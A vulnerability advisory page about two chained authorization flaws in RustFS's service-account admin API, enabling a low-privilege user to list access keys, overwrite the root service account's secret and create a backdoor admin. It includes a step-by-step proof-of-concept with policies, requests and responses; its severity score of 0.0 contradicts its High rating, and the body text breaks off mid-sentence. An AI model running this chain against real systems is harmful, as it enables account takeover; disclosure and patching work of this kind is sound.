Skip to content

GHSA-mm2q-qcmx-gw4w

RustFS: ListServiceAccount authorizes against wrong admin action, enabling cross-user enumeration and root service account takeover

High crates.io
Severity
0.0 / 10
High · CVSS 4.0
Exploit chance (EPSS)
—
No score published
Known exploited
No
Not in CISA's catalog
Weakness
CWE-863 Incorrect Authorization
Fix
1.0.0-alpha.98
Upgrade rustfs to this version or later

Description

Summary

ListServiceAccount (GET /rustfs/admin/v3/list-service-accounts?user=<other>) authorizes cross-user requests against UpdateServiceAccountAdminAction instead of ListServiceAccountsAdminAction at rustfs/src/admin/handlers/service_account.rs:936. The handler accepts the wrong admin action and rejects the correct one:

  • A user granted only admin:UpdateServiceAccount enumerates every service account in the cluster, including the root user's (HTTP 200, full metadata).
  • A user granted only admin:ListServiceAccounts — the permission name every IAM document treats as "list service accounts" — receives HTTP 403 AccessDenied on the same request.

Because service account access keys act as the identifier a UpdateServiceAccount holder needs to rotate a secret, and the UpdateServiceAccount handler at rustfs/src/admin/handlers/service_account.rs:489 performs no ownership check on the target access key, leaking those access keys lets a delegated "service account updater" role overwrite root-sa-1's secret, authenticate as the root user's service account, and create a persistent backdoor admin with admin:* + s3:*. Proven live end-to-end against rustfs/rustfs:latest (1.0.0-alpha.91, revision d4ea14c2) — the same revision is byte-identical on current origin/main.

Vulnerability Details

  • Package: rustfs (binary crate rustfs)
  • Affected versions: From 0a2411f (the initial service_account.rs check-in on 2026-03-15) through current HEAD 90e584a. The vulnerable line has never been touched.
  • Fixed versions: None
  • Vulnerable file: rustfs/src/admin/handlers/service_account.rs
  • Vulnerable route: GET /rustfs/admin/v3/list-service-accounts?user=<other_user> (ListServiceAccount::call)
  • CWE: CWE-863 (Incorrect Authorization), chained with CWE-620 (Unverified Password Change) to reach CWE-269 (Improper Privilege Management)
  • CVSS (demonstrated chain to full admin): CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 10.0 Critical. If scored as Scope:Unchanged the vector is CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8 High. The list bug alone (no chain) is CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N = 6.5 Medium and is what a maintainer would rate it if the Update ownership gap is out of scope for this report.

Two Distinct Vulnerabilities

This report documents two bugs that chain to full RustFS administrative takeover. Each is independently fixable and independently a security issue:

Vulnerability A — Wrong action constant in ListServiceAccount (CWE-863) ListServiceAccount::call at line 936 checks UpdateServiceAccountAdminAction instead of ListServiceAccountsAdminAction. This is a copy-paste typo: the three sibling list handlers (lines 658, 799, 1095) all use the correct constant. The result is a permission inversion — the correct permission (admin:ListServiceAccounts) is rejected, and the wrong one (admin:UpdateServiceAccount) is accepted. Independently, this is a Medium-severity cross-user information disclosure.

Vulnerability B — Missing ownership check in UpdateServiceAccount (CWE-620) UpdateServiceAccount::call at lines 489-614 authorizes on possession of admin:UpdateServiceAccount but never verifies the target ?accessKey= belongs to the caller or the caller's parent. Lines 522-525 contain a commented-out get_service_account call that would have loaded the target for such a check. This means any holder of admin:UpdateServiceAccount can overwrite any service account's secret in the cluster, regardless of ownership.

Chain (A + B) — Full RustFS administrative takeover Vulnerability A leaks every service account's access key (including the root administrator's). Vulnerability B allows overwriting any SA's secret given its access key. Together: a user with a single permission (admin:UpdateServiceAccount) enumerates the root user's SA access key via the wrong-action list bug, overwrites its secret via the ownership-free update handler, authenticates as the root user's service account, and creates a persistent backdoor admin with full RustFS administrative control.

Authorization mismatch at a glance:

Exact policies attached to each test identity (retrieved from running server via GET /admin/v3/info-canned-policy):

    legit-list-pol      -> {"Action": ["admin:ListServiceAccounts"],  "Resource": ["arn:aws:s3:::*"]}
    list-sa-probe-pol   -> {"Action": ["admin:UpdateServiceAccount"], "Resource": ["arn:aws:s3:::*"]}
    list-sa-restricted  -> {"Action": ["admin:UpdateServiceAccount"], "Resource": ["arn:aws:s3:::probe-scope/*"]}
    (zero-priv-user has no attached policy)
Identity Attached policy GET /list-service-accounts?user=rustfsadmin Expected
probe-user list-sa-probe-pol (admin:UpdateServiceAccount) 200 (full SA metadata) 403
legit-list-user legit-list-pol (admin:ListServiceAccounts) 403 AccessDenied 200
restricted-update-user list-sa-restricted (admin:UpdateServiceAccount on probe-scope/*) 200 403
zero-priv-user (none) 403 403
(unauthenticated) n/a 403 Signature required 403

Why the correct permission gets 403

The handler at line 936 calls is_allowed with the action AdminAction::UpdateServiceAccountAdminAction. The IAM engine performs an exact string match between the action in the is_allowed call (admin:UpdateServiceAccount) and the action in the caller's attached policy:

  • legit-list-user has policy action admin:ListServiceAccounts. This does not match admin:UpdateServiceAccount. is_allowed returns false. The handler returns 403. The user who holds the correct permission for listing service accounts is denied.
  • probe-user has policy action admin:UpdateServiceAccount. This matches admin:UpdateServiceAccount. is_allowed returns true. The handler returns 200. The user who holds a different, unrelated permission is granted access to a list endpoint.
  • restricted-update-user has the same action string but resource-scoped to arn:aws:s3:::probe-scope/*. Admin-action statements skip resource matching (crates/policy/src/policy/statement.rs:132: && !self.is_admin() && !self.is_sts()), so the resource restriction is ignored and is_allowed still returns true.

There is no wildcard, superset, or inheritance relationship between these two action strings. They are separate enum variants (crates/policy/src/policy/action.rs:459-462) with distinct strum(serialize) values. The IAM engine is working correctly; the handler passes the wrong action to it.

Raw request/response for legit-list-user (the counterintuitive 403):

    GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin  HTTP/1.1
    Authorization: AWS4-HMAC-SHA256 Credential=legit-list-user/...

    HTTP/1.1 403
    <?xml version="1.0" encoding="UTF-8"?><Error><Code>AccessDenied</Code><Message>access denied</Message></Error>

Why this is not "working as intended":

  • admin:UpdateServiceAccount and admin:ListServiceAccounts are distinct enum variants with distinct string representations. The codebase treats them as orthogonal permissions.
  • Three sibling list handlers in the same file (lines 658, 799, 1095) all check ListServiceAccountsAdminAction. Only line 936 deviates.
  • CVE-2026-22042 / GHSA-vcwh-pff9-64cc is the maintainers' own precedent: ImportIam checking ExportIAMAction was rated Medium and fixed. The same class of bug applies here.
  • A zero-privilege user (no admin policies at all) cannot exploit either vulnerability — both handlers correctly enforce their respective is_allowed checks. The bug is that the list handler enforces the wrong action constant, not that it skips enforcement entirely.

Root Cause — Vulnerability A (Wrong Action Constant)

ListServiceAccount::call is registered for GET /rustfs/admin/v3/list-service-accounts at rustfs/src/admin/handlers/service_account.rs:137-141. The cross-user branch (entered when ?user=<x> does not match the caller) checks the wrong admin action:

// rustfs/src/admin/handlers/service_account.rs:931-953  (HEAD 90e584a, identical at d4ea14c2)
let target_account = if query.user.as_ref().is_some_and(|v| v != &cred.access_key) {
    if !iam_store
        .is_allowed(&Args {
            account: &cred.access_key,
            groups: &cred.groups,
            action: Action::AdminAction(AdminAction::UpdateServiceAccountAdminAction), // WRONG
            bucket: "",
            conditions: &get_condition_values(...),
            is_owner: owner,
            object: "",
            claims: cred.claims.as_ref().unwrap_or(&HashMap::new()),
            deny_only: false,
        })
        .await
    {
        return Err(s3_error!(AccessDenied, "access denied"));
    }
    query.user.unwrap_or_default()
} else if cred.parent_user.is_empty() {
    cred.access_key
} else {
    cred.parent_user
};

The action enum definitions are cleanly distinct at crates/policy/src/policy/action.rs:459-464:

#[strum(serialize = "admin:CreateServiceAccount")] CreateServiceAccountAdminAction,
#[strum(serialize = "admin:UpdateServiceAccount")] UpdateServiceAccountAdminAction,
#[strum(serialize = "admin:RemoveServiceAccount")] RemoveServiceAccountAdminAction,
#[strum(serialize = "admin:ListServiceAccounts")]  ListServiceAccountsAdminAction,

Every other list handler in the same file authorizes on the correct constant:

rustfs/src/admin/handlers/service_account.rs:658   InfoServiceAccount::call   -> ListServiceAccountsAdminAction
rustfs/src/admin/handlers/service_account.rs:799   InfoAccessKey::call        -> ListServiceAccountsAdminAction
rustfs/src/admin/handlers/service_account.rs:1095  ListAccessKeysBulk::call   -> ListServiceAccountsAdminAction

Only ListServiceAccount::call at line 936 deviates. This is a typo/wiring error, not a design choice.

git blame shows the line has been wrong since commit 0a2411f (heihutu, 2026-03-15), the initial check-in of service_account.rs.

Root Cause — Vulnerability B (Missing Ownership Check in Update)

Service account access keys are the identifier the UpdateServiceAccount handler accepts via the ?accessKey= query string. Inspecting UpdateServiceAccount::call at rustfs/src/admin/handlers/service_account.rs:489-614:

let access_key = query.access_key;                                // line 509
...
if !iam_store.is_allowed(&Args {
    account: &cred.access_key,
    action: Action::AdminAction(AdminAction::UpdateServiceAccountAdminAction),
    ...
}).await { return Err(s3_error!(AccessDenied, "access denied")); } // line 538-559
...
let updated_at = iam_store.update_service_account(&access_key, opts).await  // line 579
    .map_err(...)?;

The handler authorizes on possession of admin:UpdateServiceAccount and never checks that the ?accessKey= query parameter resolves to a service account owned by the caller. Notably, lines 522-525 contain a commented-out get_service_account call that would have loaded the target SA for an ownership check — it was present in the initial commit and has been commented out since:

// let svc_account = iam_store.get_service_account(&access_key).await.map_err(|e| {
//     debug!("get service account failed, e: {:?}", e);
//     s3_error!(InternalError, "get service account failed")
// })?;

The inner IamSys::update_service_account at crates/iam/src/sys.rs:495-501 delegates to IamCache::update_service_account at crates/iam/src/manager.rs:663 which loads the credentials by access-key name, verifies it is a service account, and overwrites secret_key — again, no ownership check:

// crates/iam/src/manager.rs:663
pub async fn update_service_account(&self, name: &str, opts: UpdateServiceAccountOpts) -> Result<OffsetDateTime> {
    let Some(ui) = self.cache.users.load().get(name).cloned() else {
        return Err(Error::NoSuchServiceAccount(name.to_string()));
    };
    ...
    let mut cr = ui.credentials.clone();
    let current_secret_key = cr.secret_key.clone();

    if let Some(secret) = opts.secret_key {
        if !is_secret_key_valid(&secret) {
            return Err(Error::InvalidSecretKeyLength);
        }
        cr.secret_key = secret;                // <-- attacker-chosen
    }
    ...

So a holder of admin:UpdateServiceAccount who knows any service account's access key can overwrite its secret. The list bug at line 936 hands them every access key in the cluster, including root-sa-1.

The two bugs together form a clean chain:

  1. Attacker has a single admin permission: admin:UpdateServiceAccount.
  2. Attacker calls GET /v3/list-service-accounts?user=rustfsadmin — vulnerable handler grants access.
  3. Attacker reads accessKey=root-sa-1 out of the response.
  4. Attacker calls POST /v3/update-service-account?accessKey=root-sa-1 with body {"newSecretKey":"..."} — ownership-less handler overwrites.
  5. Attacker authenticates as root-sa-1 with the chosen secret and inherits the root user's full admin:* + s3:* authority.

Environment and Version Alignment

  • Image: rustfs/rustfs:latest, digest sha256:74f8eaad96124c7e019bedfb892b41a9429c495f57b883182427c5e9e9d53c6a

  • Labels: org.opencontainers.image.version=1.0.0-alpha.91, org.opencontainers.image.revision=d4ea14c2ba99602314511d5862005f7b871ece37, org.opencontainers.image.build-type=prerelease

  • Source verification:

      $ git show d4ea14c2:rustfs/src/admin/handlers/service_account.rs | sed -n '931,940p'
              let target_account = if query.user.as_ref().is_some_and(|v| v != &cred.access_key) {
                  if !iam_store
                      .is_allowed(&Args {
                          account: &cred.access_key,
                          groups: &cred.groups,
                          action: Action::AdminAction(AdminAction::UpdateServiceAccountAdminAction),
                          bucket: "",
                          ...
    
      $ git show origin/main:rustfs/src/admin/handlers/service_account.rs | sed -n '931,940p'
              let target_account = if query.user.as_ref().is_some_and(|v| v != &cred.access_key) {
                  if !iam_store
                      .is_allowed(&Args {
                          account: &cred.access_key,
                          groups: &cred.groups,
                          action: Action::AdminAction(AdminAction::UpdateServiceAccountAdminAction),
                          bucket: "",
                          ...
    

Byte-identical. The shipped image contains the same vulnerable handler as the tip of main.

Proof of Concept (executed live)

Environment

    docker run -d --name rustfs-poc --memory=2g -p 9100:9000 \
        -e RUSTFS_ACCESS_KEY=rustfsadmin -e RUSTFS_SECRET_KEY=rustfsadmin \
        rustfs/rustfs:latest

Root credentials: rustfsadmin:rustfsadmin.

Step 1 — Provision the probe identity

The probe policy grants exactly one admin action, scoped to the broadest resource. Nothing else.

    {
      "Version": "2012-10-17",
      "Statement": [
        {
          "Effect": "Allow",
          "Action": ["admin:UpdateServiceAccount"],
          "Resource": ["arn:aws:s3:::*"]
        }
      ]
    }

Creation as root:

    PUT /rustfs/admin/v3/add-canned-policy?name=list-sa-probe-pol        -> 200
    PUT /rustfs/admin/v3/add-user?accessKey=probe-user                   -> 200  (secret: probe-secret1234)
    PUT /rustfs/admin/v3/set-user-or-group-policy?userOrGroup=probe-user&isGroup=false&policyName=list-sa-probe-pol -> 200
    PUT /rustfs/admin/v3/add-user?accessKey=victim-user                  -> 200  (no policy)
    PUT /rustfs/admin/v3/add-service-accounts                            -> 200  (creates victim-sa-1 under victim-user)
    PUT /rustfs/admin/v3/add-service-accounts                            -> 200  (creates root-sa-1 under rustfsadmin)

Step 2 — Baseline: probe-user is actually constrained

Confirming probe-user is denied on unrelated admin endpoints so the "200 on list-service-accounts" is not the side effect of some ambient privilege:

    GET /rustfs/admin/v3/list-users                 as probe-user -> 403 AccessDenied
    GET /rustfs/admin/v3/info                       as probe-user -> 403 AccessDenied
    GET /rustfs/admin/v3/list-canned-policies       as probe-user -> 403 AccessDenied
    GET /rustfs/admin/v3/kms/status                 as probe-user -> 403 AccessDenied
    PUT /rustfs/admin/v3/add-canned-policy?name=... as probe-user -> 403 AccessDenied
    GET /rustfs/admin/v3/list-service-accounts      as probe-user -> 200 {"accounts":[]}  # self-scope OK

The self-scope list (no user= query) returns an empty array — the caller's own service account inventory, which is correctly allowed. This isolates the bug to the cross-user branch only.

Step 3 — Primary exploit: enumerate other users' service accounts

    GET /rustfs/admin/v3/list-service-accounts?user=victim-user  as probe-user -> 200
    {"accounts":[{"parentUser":"victim-user","accountStatus":"on","impliedPolicy":true,"accessKey":"victim-sa-1","name":"sa-victim-user-victim-sa-1","description":"probe target SA for user victim-user","expiration":null}]}

    GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin  as probe-user -> 200
    {"accounts":[{"parentUser":"rustfsadmin","accountStatus":"on","impliedPolicy":true,"accessKey":"root-sa-1","name":"sa-rustfsadmin-root-sa-1","description":"probe target SA for user rustfsadmin","expiration":null}]}

Exposed per entry: parentUser, accountStatus, impliedPolicy, accessKey, name, description, expiration. The response does not leak secret keys or session tokens (those are cleared server-side), but it does leak the accessKey — the identifier that the UpdateServiceAccount endpoint consumes via ?accessKey=.

Step 4 — Differential: the correct permission gets denied

Created legit-list-user with a policy granting only admin:ListServiceAccounts:

    {
      "Version": "2012-10-17",
      "Statement": [
        {
          "Effect": "Allow",
          "Action": ["admin:ListServiceAccounts"],
          "Resource": ["arn:aws:s3:::*"]
        }
      ]
    }

Running the same request:

    GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin  as legit-list-user -> 403
    <?xml version="1.0" encoding="UTF-8"?><Error><Code>AccessDenied</Code><Message>access denied</Message></Error>

This is the damning evidence of inversion. The handler refuses the correct permission (admin:ListServiceAccounts) and accepts the wrong one (admin:UpdateServiceAccount). There is no superset/subset relationship in the action enum; these are two distinct constants. A deployment that grants its operators admin:ListServiceAccounts to view the service account inventory — the intuitive and documented approach — will see every cross-user list request return 403 until this bug is fixed.

The resource-scoped variant gave the same result as the broad variant:

    # Policy: admin:UpdateServiceAccount on arn:aws:s3:::probe-scope/* (unrelated to any SA)
    GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin  as restricted-update-user -> 200 (same body as probe-user)

Resource restrictions on admin actions are skipped in crates/policy/src/policy/statement.rs:132 (&& !self.is_admin() && !self.is_sts()), so the bug is equally reachable by an operator whose `admi…

Affected versions

crates.io

PackageVulnerableFixed in
rustfs
< 1.0.0-alpha.98
1.0.0-alpha.98

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

rustfs crates.io → 1.0.0-alpha.98

cargo
cargo update -p rustfs --precise 1.0.0-alpha.98

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
Low
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
High
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None
Exploit maturity
Proof of concept

Weakness

CWE-863: Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

References

Timeline

  1. Published
  2. Last updated by the source
AdvisorySeverityWhy it's related
GHSA-pfcq-4gjr-6gjm
RustFS: Missing admin authorization on notification target endpoints allows unauthenticated configuration of event webhooks
High Also affects rustfs
GHSA-mx42-j6wv-px98
RustFS has an authorization bypass in multipart UploadPartCopy enables cross-bucket object exfiltration
Medium Also affects rustfs
GHSA-v9fg-3cr2-277j
Rust has Critical Stored XSS in Preview Modal, leading to Administrative Account Takeover
Medium Also affects rustfs
GHSA-w5fh-f8xh-5x3p
RustFS: Missing Post Policy Validation leads to Arbitrary Object Write
Critical Also affects rustfs
GHSA-r54g-49rx-98cr
RustFS Logs Sensitive Credentials in Plaintext
High Also affects rustfs
GHSA-fc6g-2gcp-2qrq
RustFS has SourceIp bypass via spoofed X-Forwarded-For/Real-IP headers
High Also affects rustfs
GHSA-333v-68xh-8mmq
RustFS's RPC signature verification logs shared secret
High Also affects rustfs
GHSA-xgr5-qc6w-vcg9
RustFS has IAM deny_only Short-Circuit that Allows Privilege Escalation via Service Account Minting
Critical Also affects rustfs
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor